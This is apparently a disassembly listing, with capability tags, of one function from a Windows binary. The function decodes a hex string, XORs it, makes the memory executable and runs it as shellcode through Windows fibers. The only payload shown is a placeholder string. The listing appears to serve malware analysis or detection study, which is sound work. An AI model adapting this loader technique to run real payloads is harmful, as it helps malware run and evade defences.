Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows fibers

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x480]
sub rsp, 0x580
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x470], rax
xor ebx, ebx
mov esi, ebx
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], bl
lea r8d, [rbx + 0x11]
lea rdx, str.88888888888888888
lea rcx, [rsp + 0x38]
call fcn.140001c90
nop
xor edx, edx
mov r8d, 0x3e8
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
mov edi, ebx
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x14000142f
lea r15, [0x140004510]
lea r12, [0x140004470]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea r13, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
nop dword [rax]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
cmp rax, rdi
jb 0x140001516
sub rax, rdi
mov r8d, 2
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
add rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140001c90
or esi, 1
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r12
lea rcx, [rbp + 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or esi, 2
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], r14
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp - 0x68], r13
mov qword [rbp], rbx
mov dword [rbp + 8], ebx
lea rdx, [0x1400011c0]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
mov rcx, rax
call fcn.140001e80
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, rdi
shr rcx, 1
movzx eax, byte [rsp + 0x30]
mov byte [rbp + rcx + 0x80], al
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], r14
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x68]
call fcn.140001a90
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000141d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001418
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400014d8
call fcn.1400020fc
add rdi, 2
mov rax, qword [rsp + 0x48]
cmp rdi, rax
jb 0x140001290
shr rax, 1
je 0x140001450
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rbx + 0x80], 1
inc rbx
cmp rbx, rax
jb 0x140001440
lea r9, [rsp + 0x78]
mov edx, 0x3e8
mov r8d, 0x40
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x1400014e4
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400020fc
xor eax, eax
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.1400020a0
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001df0
nop
int3